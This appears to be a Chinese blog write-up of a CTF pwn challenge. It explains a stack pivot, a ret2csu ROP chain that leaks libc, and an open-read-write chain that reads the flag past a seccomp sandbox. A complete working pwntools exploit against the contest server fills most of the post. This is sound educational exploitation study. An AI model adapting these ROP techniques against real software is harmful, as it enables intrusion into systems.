DASCTF X CBCTF 2022 九月挑战赛 Appetizer WriteUp

我的第一道沙盒题(竟然不能get shell!!!),主要考察栈帧分配(构造rop链)。顺便学了下pwntools rop的接口,还是挺香的。

我喜欢轮子,exp里会用比较多的轮子,建议看最终exp。

分析过程

栈帧复用

func里面写入的栈帧在check里面复用,通过检测。

    io.sendafter(b'identity', b'aaNameless')

栈迁移

给了一段很大的空间可写,并且告诉了你地址,而最后的栈溢出只能覆盖rbp和返回地址,考虑栈迁移(就是把栈顶指针RSP指到别的地方)到那块大空间上。

    leave_ret = 0x00000000000012d8 + database
    payload = pack(buf) + pack(leave_ret)
    io.sendafter(b'your wish:\n', payload)

这里值得注意的是,出题师傅提到了一个抬栈的问题:rop在栈迁移时可能覆盖到一些重要数据或不可读段,要注意控制栈指针。

PIE基址随机了,但end与基地址的偏移固定,可以通过给出的end地址算出基址:

    io.recvuntil(b'you are:')
    buf = int(io.recvline(keepends=False), 16)
    database = buf - 0x4050
    log.info("get database: " + hex(database))

构造ROP链

ret2csu调用write泄露libc,然后read标准输入到下一个ret的栈帧来继续控制栈帧:

    first_csu, second_csu = [x+database for x in get_csu_gadgets(file)]
    write_got = database + file.got['write']
    read_got = database + file.got['read']
    ret = 0x000000000000101a + database
    rop = pack(buf+0x8*10)
    rop += pack(first_csu) + ret2csu(second_csu, write_got, 1, write_got, 0x8)
    next_stk = buf+len(rop)+0x40+0x38
    rop += ret2csu(second_csu, read_got, 0, next_stk, 0x110, ret=ret)

因为开了沙盒,系统调用不了,拿不到shell,只能ORW(open-read-write)拿flag:

    data_addr = next_stk + 0x100
    r = ROP(libc, base=next_stk)
    r.open(data_addr, 0)
    r.read(3, data_addr, 0x30)
    r.puts(data_addr)
    print(r.dump())
    payload = r.chain().ljust(0x100, b'\0') + b'flag\0'
    io.send(payload)
    io.interactive()

get

Exploit

最终exp如下:

from pwn import *
from capstone import *
from capstone import x86

debug = False
local_path = './appetizer'
remote_path = 'node4.buuoj.cn'
remote_port = 25528
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else: 
    io = remote(remote_path, remote_port)

def get_csu_gadgets(file):
    code = file.data
    off = file.sym['__libc_csu_init']
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    md.detail = True

    ptr_gadget1 = None
    ptr_gadget2 = None
    for insn in md.disasm(code[off:], off):
        if ptr_gadget1 is None and insn.mnemonic == 'je':
            for operand in insn.operands:
                if operand.type == x86.X86_OP_IMM:
                    ptr_gadget1 = operand.value.imm
                break
        elif ptr_gadget2 is None and insn.mnemonic == 'jne':
            for operand in insn.operands:
                if operand.type == x86.X86_OP_IMM:
                    ptr_gadget2 = operand.value.imm
                break
        if ptr_gadget1 and ptr_gadget2:
            break

    return ptr_gadget1, ptr_gadget2

def ret2csu1(rbx=0, rbp=1, r12=0, r13=0, r14=0, r15=0, ret=0):
    """0x8*8=0x40"""
    # pad, rbx, rbp, r12, r13, r14, r15, ret
    return flat(0x0, rbx, rbp, r12, r13, r14, r15, ret)

def ret2csu(second_csu, call, edi, rsi, rdx, ret=None):
    """2*0x40=0x80"""
    # payload = pack(first_csu)
    payload = ret2csu1(r12=edi, r13=rsi, r14=rdx, r15=call, ret=second_csu)
    if ret:
        payload += ret2csu1(ret=ret)
    return payload

def b():
    gdb.attach(io)
    input()

def exp():
    global file, libc, ld, io
    # one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
    # one_gadget = [0xe6aee, 0xe6af1, 0xe6af4]

    # b()
    io.sendafter(b'identity', b'aaNameless')
    io.recvuntil(b'you are:')
    buf = int(io.recvline(keepends=False), 16)
    database = buf - 0x4050
    log.info("get database: " + hex(database))

    first_csu, second_csu = [x+database for x in get_csu_gadgets(file)]
    write_got = database + file.got['write']
    read_got = database + file.got['read']
    ret = 0x000000000000101a + database
    rop = pack(buf+0x8*10)
    rop += pack(first_csu) + ret2csu(second_csu, write_got, 1, write_got, 0x8)
    next_stk = buf+len(rop)+0x40+0x38
    rop += ret2csu(second_csu, read_got, 0, next_stk, 0x110, ret=ret)

    io.sendafter(b'information on it', rop)

    leave_ret = 0x00000000000012d8 + database
    payload = pack(buf) + pack(leave_ret)
    io.sendafter(b'your wish:\n', payload)

    write_addr = unpack(io.recv(8).ljust(8, b'\0'))
    libcbase = write_addr - libc.sym['write']
    libc.address = libcbase
    log.success('leak libcbase:'+hex(libc.address))

    data_addr = next_stk + 0x100
    r = ROP(libc, base=next_stk)
    r.open(data_addr, 0)
    r.read(3, data_addr, 0x30)
    r.puts(data_addr)
    print(r.dump())
    payload = r.chain().ljust(0x100, b'\0') + b'flag\0'
    io.send(payload)
    io.interactive()

if __name__=='__main__':
    exp()

总结

  • 沙盒禁用了一些系统调用,只能ORW读flag
  • ret2csu可以循环执行两个gadgets
  • pwntools.rop工具写rop的时候方便不少,但是如果想多次用栈上构造的同一个数据,好像不能自动实现,要自己计算一下
  • 多用gdb调栈帧
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇